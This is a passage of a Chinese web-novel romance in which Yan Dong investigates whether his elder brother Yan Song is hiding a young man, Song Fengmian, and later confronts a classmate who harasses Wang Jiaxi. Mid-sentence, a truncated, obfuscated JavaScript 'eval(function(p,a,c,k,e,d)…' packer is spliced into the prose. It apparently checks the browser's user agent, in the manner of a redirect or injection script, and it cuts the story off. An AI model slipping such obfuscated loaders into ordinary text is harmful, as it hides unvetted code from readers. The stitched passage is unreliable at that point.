“所谓远在天边,近在眼前——” 燕颂端着茶杯的手微微一僵,但燕冬没发现,继续合理猜测,“娘亲,会不会是崔表哥那个风流鬼?” 燕颂垂眼,继续悠闲地饮茶。 “有可能,”崔拂来说,“等你表哥年后来家中拜年,你可以问问他。” “什么是男风?”燕纵的满腔热情都用在钻研武学了,连时兴的事物都不知晓,更莫说其他,“你们在说什么啊?” 众人齐齐看了眼一脸懵的老二,纷纷下桌了。 燕纵不快,“喂!” 侯翼裹上崔拂来让人取来的披风,向众人请辞,先行回家了。 燕青云和燕纵在廊下交流近来的习武心得,说着说着就切磋上了,站在花几前摆弄鱼尾花瓶的崔拂来说:“冬冬,叫那爷俩小心些,不要糟蹋了院里的花。” “遵命。”躺在梨木交椅上消食的燕冬起身蹿了出去,朝院中赤手空拳搏斗的两人传递“上谕”,见那俩立刻听话地以螃蟹步打出了院子,才满意地“嗯”了一声。 他左顾右盼,发现燕颂和燕姰不见了,立刻开始搜捕计划,背着手顺着游廊逡巡半圈,果然在扇形花窗外逮住了簌簌梅影后的人。 后厅小院里的这几棵白梅是崔拂来从崔郡王府移栽过来的,这会儿开得正好,棵棵复瓣雪白,廊下那棵更似一捧雪伞,几乎要罩住檐下的两兄妹。 燕颂身穿丁香色罗袍,披着墨色毛领披风,负手而立,燕姰站在他身前,裹着狐肷披风,虽说比之矮半头,但在雍京的姑娘们里也是拔尖的。说话声听不清,但燕冬猜测他们是在说那药瓶的事。 突然,燕颂偏头,目光直直穿过梅影落在他面上。 燕冬立刻捂住耳朵,表示自己只偷看,绝不偷听。 燕姰顺着大哥的目光看去,拨开层层梅影,扒在花窗外的人目光明润,活像那只叫雪球的小白狗。 她摇头失笑,转而继续说:“我和老师一致认为,那俩瓶子的药一为迷魂散,一为马绞肠。前者可以内服也可通过其余感官进入体内,能使人筋骨僵滞、浑身乏力、头晕目眩。马绞肠则是一种专门用在马儿身上的毒药,通常是内服、刺药入体或者熏药,能很快致马儿发狂,若不及时医治,必死无疑。” 燕颂说:“辛苦。林院使那里,晚些时候我着人备一份礼,谢他老人家费神。” “大哥客气了,你还不知道我们吗,见到新鲜药就走不动道,非得研究琢磨透了才安心。对了,既然冬冬好了,我晚些时候就去御医院了,大哥但有吩咐,尽管叫人来找我。” “还真有一件私事。”燕颂说,“你可听过一种名为桃花梦的蛊?” “蛊?如今使蛊的除了黔州那个花十三郎,都差不多死绝了,我对此也少有涉猎。这桃花梦我从前倒听过,好似是情蛊?”花姰突然拧眉打量燕颂,“大哥,你别是着了那花十三郎的道?” “此人与邪|教有关,也在抓捕处死之列,我在办差途中遭其刺杀,一时大意着了道。”燕颂说,“可惜此人当场咬破毒囊自尽,没有提供多余有用的信息。” 蛊毒之害防不胜防,不是此道中人更易中计,可既然是要置人于死地,为什么是情蛊?燕姰心里纳闷,却没多问,伸手替燕颂把脉,脉象如常,她只得收手,说:“此事我记下了,会立刻着手研制解蛊方法,大哥宽心。” 燕颂说:“此事——” “懂。”燕姰很上道,“保密,尤其不能告诉冬冬。” 燕颂颔首,“对了,先前在黔州买了只围腰药袋,银针小刀都可存放,梨枝刺绣也活泛,待会儿瞧瞧,若是喜欢就一并带走。” “大哥的眼光,我向来相信……冬冬。” 燕姰招手,燕冬立刻进了后院,在垂带踏道下一个空翻,立定捧手,学着唱戏的腔调说:“敢问三小姐有何吩咐!” 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“可是鱼儿猴儿明年都要结业了,到时候就剩我一个,孤苦伶仃好可怜的。”燕冬双手抱住燕颂的胳膊,膝盖一弯使出一招千斤坠,不让人走,“大哥大哥,我们商量一下嘛。” 燕颂肩膀微微向侧后方一扭,抬起另一只得空的手掐了下燕冬皱巴巴的脸,“我的笔断了。一,二——” 燕冬瞬间松手,燕颂笑了笑,转身离去,被他撇下的小尾巴则当即扭头往前厅跑。 “夫人,关于四皇子的传言……”燕青云打发了二崽子,挤在花几前给崔拂来递剪子。 “当年的事做得隐秘,若说谁会心生怀疑还费力去找那母子三人,多半是陛下身边的老人。”崔拂来低着头修剪旁枝,“流言盛传,是有人推波助澜,如今圣意不明,可以后就说不准了。” “姓赵有什么好?”燕青云搓着粗糙的掌心,沉声道,“那是咱家的孩子,我真舍不得让他走。” “此事不由咱们做臣子的做主,”崔拂来想起燕颂的性子,又叹了一声,“也不由咱们做爹娘的做主。” 燕青云还想说什么,听到一阵脚步声噔噔过来,就把话吞了回去。 “我要去广湖斋买笔贿赂大哥,先走了!”燕冬一溜烟从屏风后蹿出来,又一溜烟蹿出花厅。 “慢点跑,”崔拂来偏头,扬声说,“路滑,别摔着!” 燕青云跟上去喊话:“天冷,早些回家钻被窝!” “知道啦!”燕冬回头挥手,跑出了前院。 朋友们在外面吃喝玩乐,他却在学堂对着老博士啃书本,这太惨了,要立刻去广湖斋买最好的笔贿赂大哥,以保太平! 燕颂的文房用具大多出自青龙一街的广湖斋,那里头东西好,据说幕后老板是燕颂的朋友,产业遍四方,稳吃三注,行踪成谜,燕冬至今不时庐山真面目。 他们足够亲密,大哥身上却仍有很多小秘密,燕冬思之有些小惆怅,对出门迎接的掌柜点了下头,说:“挑根笔。” “是您用还是世子爷用?”掌柜将财主迎上二楼,打开其中一只柜子,“里头都是新到的好货,您瞧瞧。” 燕冬都看不上,掌柜便立刻拿来册子,说:“小公子瞧着大好了,如此我也安心了。” “劳你记挂……诶,”燕冬抬头看了掌柜一眼,“你前两天往我院里送东西了?” 掌柜笑着说:“咱们经商的走四方,下半年底下的人收了一匣子珠子,各色品种混杂着,虽说比不上您经手的珍贵,但瞧着都漂亮。我想着您平时喜欢捻珠做串,就送去了府上,权当孝敬您平日的照顾。” “有心了,青青拿给我看了,的确是漂亮珠子。”燕冬翻了翻册子,白皙的指尖往上头一点,“就要这根黑漆管兼毫的,另外把这个月的时令花笺给我拿一套。” 掌柜“诶”了一声,取出毛笔,侧手请燕冬下楼。 柜台前站着个人,身形熟悉。燕冬走过去,抬手按住农生的肩膀,对方转过身,受惊得很浮夸。 燕冬还没来得及询问,伙计就从后头过来,对农生说:“爷,您要的笔。” 伙计手里是根白玉管笔,燕冬纳闷,“你不是只用轻巧不易碎的木管笔吗?” 农生示意伙计包好,“是给世子买的。” 燕冬闻言顿了顿,说:“大哥惯爱用兼毫,而且他都明示我来替他选笔了,还用得着劳动你这位忙碌的亲卫统领?” “不是……”农生顶着小公子狐疑的盯视扭头看向掌柜,“吗?” 农生买笔时只说要白玉管的,态度随意,掌柜就知他不是给世子爷买,因此让伙计取了新到的这根白玉管狼毫来,现下只得老实巴交地点头,“不是呢。” “你个老小子,怎么做事的!”农生拍柜,“世子惯用兼毫,这都不知吗?还不去换一根装上!” 掌柜的当了挡箭牌,也不敢多说,连忙赔罪,亲自去换了一根给农生过目,待对方点头才拿盒子装好,恭恭敬敬地奉上。 “下次可不要再粗心大意了,今日还好有小公子提醒。”农生瞪了掌柜一眼,扭头和燕冬笑着告辞,转身快步走了。 燕冬看着农生的背影消失在店门外,眯了下眼。 常青青嘀咕:“我怎么觉得农生哥怪怪的?” “他心里有鬼啊。” “啊?”常青青侧目看向小公子。 燕冬秀丽的眉眼弯了弯,乍一眼是在笑。他摩挲指环,轻声说:“怎么办,大哥好像有见不得人的小秘密了呢。” 6. 男人 当午没想到,他到燕冬身边的第一个任务是调查自己的主子。 逢春院不似其余院子对侍从的穿着有统一的规定,只要不逾制,平日都是随他们自己打扮。当午穿着利落的灰色劲装杵在跟前,燕冬把人打量着,目光挑剔,“听说大哥往我院里新拨了几个人,你是其中之一,做我的随侍?” 当午捧手,“属下当午见过小公子,往后听凭小公子吩咐。” 燕冬莞尔,“那你就是我的人咯?” 当午预感不妙,“属下是小公子的人。” “那你知道当我的人,首要的规矩是哪一条吗?” “属下恭聆垂训。” “首要的,自然是忠诚。”常青青学着宫里那些内侍官的腔调做派,给新人说规矩,“既然做了小公子的人,凡事以小公子为尊、为首,违背就是叛主,一律重罚!” 当午听明白了,小公子这是在警告他不许身在逢春院心在熏风院,而此时考验他忠诚的方式就是—— 当午扭头看向不远处的一间民院,农生先前进去了一趟,很快又出来。 他们三人一齐跟踪,农生不该毫无察觉,且这附近暗处分明藏着人,此时却没人暗示他阻拦小公子,是否说明世子不介意小公子知道那院中的秘密?可农生先前又何必扯谎遮掩? “诶。”燕冬扭着眉毛催促。 当午收敛思绪,回头说:“属下会尽快探出里头的秘密。” 燕冬这才满意地“嗯”了一声,“去吧。” 有常青青陪着,暗处还有自己人,因此当午犹豫了一瞬便说:“请小公子稍待,莫要让属下担心,属下很快就出来。” 燕冬无意真的为难当午,更没想着连累他受罚,立刻点头答应,“哎呀,放心吧,我哪儿都不去。” 当午便行礼离去。 “身法这般轻盈利落,不简单。”常青青看着当午三两下消失在院墙外,惊疑道,“世子莫不是把自己跟前的人拨给您了?可此人面生……” 燕颂跟前的人,这么多年下来,燕冬都认遍了,却是头一次见当午。燕颂既然敢把当午派到他跟前来,说明此人必定深得燕颂信任和重用,绝不会是才从哪儿收服的新人。 燕冬摩挲着指环,当午是一个,还是其中一个?若是后者,那燕颂到底背着他在外面养了多少人?竟然连他都不告诉! 燕冬有些不高兴。 “这次的事情让大哥担心了,多一层如影随形的保护,他才安心。”他心不在焉地说。 当午此时被派过来,说明这人和常青青等人不同,是不会真正受他约束的。 “那他方才是敷衍您呢,他肯定会回去给世子爷打小报告!”常青青心虚地抱住燕冬的胳膊,“若是世子知道咱们偷偷跟踪、调查……” “他要是真的在这里藏人了,我就是师出有名,还要问他要交代呢!”燕冬气势汹汹地撸起袖子,“到时候我要召开燕家大会,谴责这个背着我们在外藏人的人!” 雪暂时停了,但风还刺骨,常青青忙将燕冬的袖子撸下去,“可是当午会不会忽悠您?” 燕冬不怕,当午若是忽悠他,反而也能说明此事有鬼。 两人在墙檐底下嘀嘀咕咕,很快,当午就从前面的院墙翻了出来。他迎着燕冬紧张的目光在对方跟前站定,安抚道:“您放心,里面不是年轻女子。” 砰,心中的石头猛地落了地,燕冬松了口气,随口道:“那是谁啊?” “是个年轻男子,一双狐狸眼,相貌不俗,只是面色苍白,是有伤在身。属下翻了卧房,里面有一本《进士科选目》,封皮上的落款是,”当午犹豫一瞬,才说,“‘风宋’。” 这个假名字如今不知被多少有心人盯着、咬着,但燕小公子显然不在其中,闻言只说:“哦。” 燕冬没听过这个名字,但只要里头藏着的不是燕颂的野桃花,他就不多打听了。 跟踪小分队就地撤退,顺路去了青龙一街的桂水堂。 进了雅间,燕冬吩咐青青给堂倌碎银,“去隔壁兴路坊问问鱼二公子在不在府里。” 他这几日要喝药,忌口,就点了杯玫瑰清露。常青青要了小碗热奶茶,见当午摇头就打发了堂倌。 堂倌笑眯眯地谢赏,退了出去。 燕冬从书架择出一本古记,才翻了几页,鱼二公子就来了。 鱼照影吩咐了一杯姜茶,进屋在燕冬对面落座,“你来得巧,晚一步我就要和李小侯爷去食楼了。” 他言行如常,不见半点包袱,燕冬彻底放下心来,随口一问:“你大嫂如何了?” “瞧着是吓坏了,脸煞白,先前她娘来探望,打算去万佛寺拜拜。”鱼照影打开不离身的折扇,在寒冬天里扇着一种名为翩翩风流的东西,“都说是做了噩梦,可我觉得她看我的眼神很不对劲。从前她看我是表里不一,暗藏戒备,今天却好像多了些惊恐和怀疑?” 燕冬摸不着头脑,“莫非她不是做了噩梦,而是被人用什么法子摄住了,疑心是你所为?” 鱼照影摊手,“谁知道。算了,咱不管她。” 说不管就不管,燕冬当即分享了刚才的行动,哪知鱼照影听完秀眉微蹙,“风宋?” “啊,”燕冬瞧着鱼照影的神情,略觉不妙,“你知道这个人?” 亲卫俯身将托盘放在茶几上,垂在肩前的小辫儿晃了晃,他出去时,鱼照影说:“霞晖,把门关上。” 霞晖应声,出去时轻轻带上了门。 燕冬说:“看来这人不简单。” “可不。”鱼照影看了眼跪坐在燕冬身后的男人,“眼生啊。” 燕冬说:“当午,我大哥的亲卫,派来监视我的。” 当午:“。” 以燕冬的德性,这句话必定是炫耀。鱼照影笑着摇头,“你还记得潞州的那则传言吗?” “夭折的四皇子?”燕冬说。 鱼照影抿了口姜茶,说:“潞州丰和村里一个叫风宋的村民,实则是当年宋家管家和明妃贴身侍女的二儿子,真名宋风眠。若传言不假,那他不仅知道四皇子到底有没有夭折,甚至还可能知道四皇子的行踪线索,所以这个人很重要,目前的处境也很危险……冬冬,你怎么了?” 燕冬僵硬地扯了扯嘴角,“风宋就是宋风眠?” “不错。”鱼照影纳闷,“你怎么一副吃了羊粪球的表情?” 燕冬心里的滋味和吃了羊粪球也差不离了! 风宋竟然就是宋风眠——他不认识,但是他见过这个名字。 噩梦惊醒后,他脑子里莫名多出了自己身在话本世界的认知,并且还出现了一幕话本翻篇,是话本的封皮,上面写着话本名字,底下还有两行小字: 【霸道世子攻×腹黑狐狸受】 【宋风眠看着男人清晰优美的下颌,狐狸眼盈盈落泪,终于认输般地垂眼,羞赧又直白地道:“是,我喜欢你了。”】 显然,第一行是话本的角儿,第二行是原文摘抄。燕冬虽然没听过“攻受”的说法,但顾名思义,大抵能意会一二。 显而易见,宋风眠是话本里的那个“腹黑狐狸受”,而那个“霸道世子攻”虽然没有点名道姓,但燕冬一捋吧,他大哥有清晰优美的下颌线,平日说一不二、不容违背,骨子里自然是霸道得很,更重要的是大雍的世子就那么几个,如今偷偷藏着宋风眠还派亲卫统领亲自去给人家买笔的人的正是他、大、哥! “啊……”燕冬肩膀一塌。 鱼照影忙问:“小祖宗,又怎么了?别是在刚才那一瞬原地白日做梦梦到什么不好的了吧!” 显然,侯翼已经抽空和鱼照影分享了燕冬的“病因”。 “没,但是……”燕冬卷长的睫毛一颤,茫然地说,“我的天,塌了。” 当午说:“主、世子好好的。” “他是好,好得不得了,”燕冬喃喃,“命定爱侣共筑爱巢,能不好吗?” 众人:“?” 糟了,小公子莫不是后遗症,都出现幻觉了!常青青在心里尖叫。 鱼照影用扇子敲了下脑袋,最先回过味儿,“你是怀疑燕大哥和这个宋风眠?” “世子留着宋风眠是因为他身份特殊,有用,绝不是因为儿女情长。”当午为主子澄清立场、力证清白。 常青青也小声说:“公子,是不是有什么误会啊?” 燕冬把刚才捋出来的线索说了出来,尤其认为燕颂派亲卫统领出来给人买笔这一点实在无法解释,引人遐想——要知道这么多年,区区小事就能劳动农生是燕冬才有的待遇! 雅间顿时陷入沉默,众人目光汇聚,各有心思: 常青青:世子能动情?! 鱼照影:燕大哥能对一个男人动情?! “这一点的确不好解释啊。”鱼照影摩挲扇柄,边思索边小心地瞅着燕冬的脸色,“若说是为了隐蔽行踪,燕大哥更应派遣鲜少在人前露面的高手,而不是作为亲卫统领的农生,这样反而更易引人注意。” 当午不敢腹诽燕颂,却也觉得是这个道理。 “不,我不愿意相信,”燕冬闭眼深吸一口气,“我要再次成立调查小队,严查事情真相!” “好!”鱼照影先捧场,后询问,“从何处下手呢?” “自然是这个被带回来的男人……你,”燕冬扭头看向当午,举起两颗很硬的拳头,“我很认真很严肃,敢阻挠我的事,你就完了!” 当午暗自叫苦,忙说:“属下不敢。” “哼。”燕冬扭头,抱臂,“风宋身份特殊,所以此事不可外传 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燕冬轻哼,倒也不为难他,“好吧,那你就在保护我并且定时跟你主子打小报告的同时帮我试探他和春春、农生的口风吧,有什么消息必须立刻告知于我。” 当午犹豫道:“这……” 燕冬横眉,“嗯?” 当午不得不说:“属下遵命。” 这还差不多,燕冬分派了任务,喝了会儿茶,期间和鱼照影研究讨论了“攻”“受”的涵义,认为按照这个说法,鱼照影是受,霞晖是攻,就各自打道回府了。 正是用饭的时辰,燕冬去了梅苑,期间,他瞅了眼大口朵颐的爹爹和优雅斯文的娘亲,十分自然地说:“全天下最美丽的娘亲和最英俊的爹爹,你们有没有幻想过未来的大儿媳妇儿?” “当然。”燕青云露出一点老父亲想要抱孙孙的期待。 “那你们幻想的大儿媳妇儿是什么样的?” 燕青云的标准简单且蛮横,“让你娘亲中意的。” “最好的便是和你大哥两心相知、齐心相守的女儿,若是颂儿命中没有这样的缘分,那他选谁就是谁,我们相信他的眼光。怎么,”崔拂来看向燕冬,“颂儿可是和哪家姑娘对眼了?” 燕青云:“嗯?!” “别激动别激动,没有的事,我就是随口问问。”燕冬遮掩道,“这不是看你们真的一点都不着急大哥的婚事嘛。” 崔拂来笑道:“做爹娘的自然希望孩子们能够成亲生子、阖家幸福,但也不能违背孩子的意愿,你大哥没这份心,我们何必去催?反正颂儿自小懂事稳重,自来不要咱们操心,他心里有数。” “就是,你大哥比外面耍大街的木陀螺还要忙,我们就不多说他不爱听的话、招他的烦了。”燕青云见燕冬一副心不在焉、若有所思的模样,便给他夹了块烧羊排,大胆猜测道,“哟,莫不是我们小崽儿春心萌动了,在这儿借着大哥试探我们的口风?” 崔拂来目光打趣。 “哎呀,哪有的事!”燕冬闹了个红脸,慌忙放下筷子,摆着手说,“我忙着继承大哥的家风考第一呢,哪有心思谈情说爱?” 夫妻俩被小儿子的反应逗笑,崔拂来说:“好好好,都怪你爹,大燕雀安知小燕雀之志?” “就是!”燕冬瞪了眼笑个不停的燕青云,起身拿勺子给他添了一大碗饭,“多吃饭,少说话!” 燕青云赶紧捧碗,“好,爹不说了,马上吃完。” 燕冬很有威严地“嗯”了一声,可不敢再提婚事了,等用了膳,他陪着崔拂来把今年给崔郡王府备的年节礼单检查了一遍,就回院里去了。 考第一不是说说,燕冬一下午都窝在书房,晚膳简单用了一小碗核桃乳,又埋头学了半个时辰。 “公子,”和宝像只报喜鸟,欢快地落在窗外,“世子回来了。” 燕冬立刻丢下书,抄起一旁的黄杨木笔盒去熏风院。 燕颂换了身居家的棉袍,束发披散,用一根白色细带松松地系在发中后端,坐在书桌后处理公务。他在燕冬眼里从不是人鬼惧怕的阎王,也不是翻云覆雨的权臣,光论眼下,分明只是个美人,大美人。 十多年都看不腻,燕冬站在窗外痴痴地大饱了眼福,才掉头进去。 “我开过笔了,大哥试试。” 燕冬打开盒子放在桌上,燕颂拿起来,濡笔在文书上写下一行批复,字极好,刚柔相济,不衫不履。 “不错。”燕颂抬头,目光一顿,“怎么了?” 他只一眼就看破了燕冬故作寻常的面具,察觉出不对劲,燕冬一愣,握着桌角的左手紧了紧,心门和牙关一并漏了缝儿: “哥哥,你是心悦那个宋风眠吗?” 7. 高帽 夜风袭人,正对书桌侧方,燕冬缩了缩脖子,却没心思吩咐廊下关窗,只直勾勾地盯着桌子后头的人,不满地催促,“问你话呢!” “听见了。”燕颂手不停批,头也不抬,让廊下关窗,“跟踪调查的手段都使上了,还用得着来问我?我当你收获颇丰。” 果然瞒不住,但燕冬听出点揶揄的意思,心中那点心虚便也有所依仗地散了个干净。他撇撇嘴,指头扣着桌沿,“我忍不住嘛,而且凡事亲眼所见都不如听你亲口说。” 他毫无防备地展示自己薄弱得没底线的戒心,俯身试图看清燕颂表情的同时也用恰到好处的亲昵、期待编织出一顶高帽—— “毕竟大哥不会骗我,对吧?” 笔尖一滞,燕颂抬眼对上那双无害又狡诈的眼睛,沉默了一瞬方说:“我不心悦宋风眠。” 他没有戴上那顶高帽,这个答案却暂时取悦了燕冬。燕小公子心满意足,喜笑颜开,立刻揽了常春春的活,给世子爷伺候笔墨。 燕颂看了眼绕着书桌打转晃尾巴的人,微微摇头,“早些回去歇着。” “我不困,陪大哥忙会儿再走。”燕冬接过常春春抱进来的一摞文书,整齐地摆在对窗靠墙的紫檀柳燕纹书架上。 常春春见小公子暂时不走了,就端了把玫瑰椅进来摆在书桌前,拿裀褥垫实了,又暖和又舒服。 燕冬一屁股坐下,抽出一张素笺,从湘竹笔筒里挑出一根竹管小笔,提笔写字。 他自小就有写日录的习惯,选择时令或时兴花笺,偶尔寥寥一笔,偶尔长篇大段,偶尔夹贴一片花叶,惯常还要附带一副小画,以抒当下心情,或者,以备来日算账。 此时,燕颂抬眼一瞧,辨认出燕冬今日日录的标目是《大哥的桃色谣传》,“谣传”二字用朱笔打圈,画上重点,显然,这是一篇“罪状”。 燕颂失笑。 燕冬立刻抬眼瞅他,“笑什么?白纸黑字,以后若是让我发现你骗我,我就拿着它和你对簿公堂!” 燕颂一副清白不惧的模样,“那待会儿要不要我签字画押?” “要,”燕冬得寸进尺,“还要盖私印。” 燕颂尾音拖了拖,“好。” 燕冬满意地“嗯”了一声,继续埋头苦写。 夜色安宁,烛光昏黄,室内无声地燃着草木香,书桌前后,两根笔同时忙碌着。 “啪嗒”,俄顷,竹管小笔突然倒桌,先前信誓旦旦声称不困的燕冬脑袋一啄米,就趴桌上睡着了。 这种情况,这副场景,自小到大,燕颂不知瞧见多少回了,他用毛笔挂绳轻轻刮了下燕冬的脸腮,招逗出一声黏糊的“嗯”,猫儿似的。 燕冬挠了挠脸,皱了皱鼻尖,没醒。 燕颂笑了笑,叫常春春进来,轻声说:“把小公子的寝屋收拾一下。” 常春春应声,轻步退了出去。 虽说燕冬搬出去了,但从前的寝屋还是日日打扫,偶尔也会迎来自己的旧主,这会儿只需燃灯点香,再换一床厚被子就妥了。 燕颂抱起燕冬,轻了些,这些日子折腾的。他出门时吩咐常青青,“把药端过来。” 常青青行礼去了。 燕颂把人抱进寝屋,轻柔熟练地剥了毛领披风,露出雪白里衣,接过热帕子替燕冬擦脸。突然,他说:“抬脸。” 睫毛一颤,燕冬睁开一只眼,和燕颂对视了一瞬,又睁开另一只眼,澄清道:“我才醒哦,不是故意诓大哥使力的。” 说着抬起下巴,方便燕颂给自己擦拭下颌和脖子,还是像那副小孩儿样,娇纵、依赖的。 燕颂颇冷酷,“那自己回去睡。” “不要不要,来都来了。”燕冬翻身一滚钻进被窝,背对燕颂,耍赖,“我睡着了!” “滑头,”燕颂隔着被子拍了下燕冬的后腰,“喝了药再睡。” 燕冬不说话,真的已经睡着了,还打出两声鼾声。 燕颂嘴角勾了勾,也不着急,只是在常青青将药碗端来时伸手接过,说:“冬冬。” 他语气轻,但活脱脱就是命令,燕冬一下就“醒了”,翻身坐起来,苦大仇深地盯着燕颂手里的药碗。 燕冬自小就怕喝药,小时候燕颂总是会先尝一口,除非实在苦得难以下咽,否则都会耐心地哄他喝下去。自小养成的习惯,长大了也没改,燕颂将药碗端到唇边抿了一口,说:“不烫,也不是很苦,喝吧。” “哦。”燕冬接过小碗,深吸一口气,一鼓作气闷下了肚,“哕——” 他舌尖一甜,被燕颂喂了一勺桂花蜜。 桂花蜜威力不俗,燕冬的脸色也跟着甜了,低头凑到燕颂手边,又索要了一口。 燕冬要第三口的时候,燕颂抬高手,将蜜罐递给侍从,另一只手揽住了直腰伸手抢蜜罐的燕冬。燕冬小脸一垮,幽怨地盯着他,燕颂笑了笑,伸手在那蠢蠢欲动的手心上打了一记,说:“再瞪?” 燕冬手心发痒,把双手都背到身后,垂着头小声嘟囔了一句自己都听不清的话。 “嘀咕什么?”燕颂掐他的脸,欺负面团似的,最后笑着说,“好了,洗漱后早些睡,明早若是起得来,就陪我用膳。” 燕冬立马说:“起得来起得来!明早想喝桂花粥。” “好。”燕颂松开手,起身出去了。 常青青把蘸了齿药的刷牙子递给燕冬,“那咱们的调查小队是不是解散了?” 齿药是用龙脑、乳香、青盐捣成粉再用熟蜜调制成糊,味道浓淡合宜。燕冬刷着牙,腮帮子一鼓一鼓的,含糊地说:“我另有安排。” 燕颂回到书房,准备将剩下的公务处理完,走到书桌前时瞧见燕冬的日录还摊在那里。 他拿起来看了看,事情经过记载详实,活脱脱一个公正的笔杆子小判官,只是末尾那一副《燕冬挥鞭审问图》表明了小判官的私人情绪。 “犯人燕颂,若是胆敢欺瞒本官,定不轻饶!”官服燕冬挥鞭,神情严肃,小家伙有心气儿,哪怕是在画上,也得给自己穿上紫袍玉带。 再看画上的燕颂,画师没舍得给他穿囚服,一身大袖罗袍,形容诚恳,只是画师提前入梦会周公去了,没机会把话写完。 常春春进屋,说:“潞州回信,有关宋风眠的行踪都已经处理好了。” “大人明鉴,在下所言句句属实”——燕颂替画上的自己写下回复,取了一方暗褐色的玛瑙私印,“人动了?” 印章在烛光下莹润剔透,像燕冬的眼睛。 常春春好似没瞧见世子在用私印哄弟弟,正经着,“动了,有几拨人在打探您此次出门的行踪路线。” 燕颂看着笺上那一双活灵活现的小人儿,嘴角微微上扬,“那就让他们忙去吧。” 窗外夜风如鬼嚎,院里的“金玉满堂”簌簌响动,仿佛摇锣打鼓、撮科打哄的角儿们蜂拥登场。 隔着厚实的柳燕雕花窗,燕冬两耳不闻,一夜安眠。 翌日早晨,燕冬果然起了个早,赶上和燕颂同桌用膳。 燕颂自来只吃七分饱,燕冬喝第二碗桂花粥的时候,他已经搁了筷,在一旁翻阅今天的《雍京小报》。 和用来刊登传递纶音官令的《承安杂报》不同,《雍京小报》是由民间印刷售卖的,有好几家不同的版本,主要传递的是民间时兴的趣闻轶事,俗称——八卦。 燕颂从前对这些杂闻琐事不敢兴趣,可燕冬喜欢,经常缠着他津津乐道这家爬灰聚麀、那家闹鬼中邪,渐渐的,他也养成了闲暇时瞟一眼的习惯。 “大哥,今儿有什么新鲜的?”燕冬夹了只鱼肉包。 “‘惊!贺小伯爷在锦绣坊重金定制了一身七彩裙,赠予雍京府王府尹的堂妹嘉禧小姐,是否珠联璧合,好事将近?!”燕颂面无表情、语无波澜地念道。 燕冬呸道:“癞□□想吃天鹅肉,真倒胃口。” 虽说那位王府尹常和燕颂政见不合,关系不算融洽,王嘉禧却是燕冬的同窗朋友。贺申对王嘉禧有意不是一天两天了,被拒绝多次也不知收敛,如今送件衣裙都要闹得人尽皆知,心眼忒坏,燕冬瞧不上他。 燕颂看了眼拧着眉头喝粥的人,“你很在意?” “当然!”燕冬说,“家福是我朋友,朋友有麻烦,我能视若无睹吗?” 他亲昵地叫着姑娘家的小字,愤愤不平得理所应当,燕颂合上竹板报框,淡声说:“明日好好考。” 怎么突然说起考试的事情了?哦,燕冬很快反应过来,这是警告自己明天去了国子学别又和贺申闹呢。 他应了一声,又提前打商量似的说:“别人若非要惹我,我也不能任他欺负,对吧?” 燕颂没有说话,燕冬不禁暂时稍稍附议了一下那些说他大哥喜怒难辨、阴晴不定的人,怎么突然就冷淡了不少呢? 唉。 大哥心,海底针。 “好吧好吧,我真的会好好考试的。”燕冬哄着,赖着,“考第一有没有奖励呀,哥哥?” 燕颂瞥他一眼,“想要什么?” “还没想好,先记着。” “好,依你。” 燕冬虽说娇惯,正事上倒从不荒废,自小到大,他考第一也不是件稀罕事,如今的同窗里,也就鱼照影这么一条拦路鱼和他分庭抗礼。 鱼照影没想着考第一到谁跟前求赏,翌日听燕冬说了“兄弟约定”后便道:“要不要我手下留情,给你放水啊?” “不要,本公子有的是手段和实力。”燕冬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陛下颔首说是,命礼部主持操办,自此国子学里就辟了一座新学堂,燕世子拟名“雅社”,请荣安公主亲笔赐匾,当堂高悬。 同为女子,王嘉禧很是佩服荣安公主,但她的志向不在成为才女,而在香饮糕团之间。她来雅社,其一是读书明理,其二就是为了—— “嘉禧!” 突如其来的一嗓子打断了王嘉禧的思绪,她抬头看向来人,眉头微拧,敷衍地捧了下手,“贺小伯爷。” “诶,学堂之内,只有同窗之谊,没有身份之别。”贺申走到王嘉禧面前,笑着说,“我送你的衣裙可还喜欢?” 王嘉禧退后半步,拉开距离,“我让人送回锦绣坊了,小伯爷不知道吗?” 贺申笑意微滞,身后的一人见状忙说:“王小姐,小伯爷一腔真心,你岂好辜负?” “小伯爷的真心,我消受不起。何况你所谓的真心若是有半分好,就不会三番五次对我的拒绝视若罔闻,一点都不为你我的名声考虑。”王嘉禧不耐其扰,抽头欲走,却被贺申跨步拦下,“你——” 贺申见她桃腮紧绷,杏眼微瞪,只觉得眸清可爱,不由得放低身段,深情宠溺地说:“什么名声不名声的?你爹娘不会对我不满意,只要我上门求娶,还怕不成?我知道你喜欢下厨,你放心,你若是嫁了我,我给你打造一座金碧辉煌的大厨房,你可以天天做糕点给我吃,我绝对不嫌腻!” 王嘉禧:“……” 呵呵。 她没了多说的力气,侧身要走,贺申却不放,两人当即拉扯起来。 贺申身后的一群子弟作壁上观,有人调笑道:“哟,小伯爷,您也让着点未来的夫人嘛。” “你懂什么?小伯爷这是提前振夫纲。” 王嘉禧听着这些人暧|昧调笑,恶心得不行,可她从前虽说请了女师傅,但学的大多都是自卫的招式,论功夫只能算三脚猫,翻墙倒挂小打小闹在行,真和贺申这样自小习武的打就够不上了。再者她的力气也比不上高壮许多的贺申,拉扯打斗中从脸憋到了脖子根。 突然,面前的贺申惨叫一声,松开了手。 王嘉禧连忙后退几步双手横挡在身前,警惕地瞪着贺申,后者却是没心情再搅扰她,捂着额头捡起地上的骨牌,抬头瞪向前方,“谁扔的!想死吗!” “哎呀,对不住,”清悦的一口嗓子,王嘉禧循声望去,燕冬不知何时站在前方的红木拱桥上,笑容无害,“不小心手滑了。小伯爷,帮我捡一下啊。” 手滑得这么远,骗鬼呢! 贺申目眦尽裂,一把将牌砸在地上,“燕、冬!他娘的,又是你!” 8. 斗殴 冬日干燥,承安帝咳疾未愈,文书房里便没燃熏香,各座香台上只放着一篮香橼。 议事结束,就要放班,安信侯却出列磕头喊冤,称夫人在万佛寺山路遭遇歹人,若非护卫及时,怕是要连人带车地滚下山崖,尸骨无存。 承安帝抿了口润喉汤,说:“有这样的事?侯夫人如何了?” 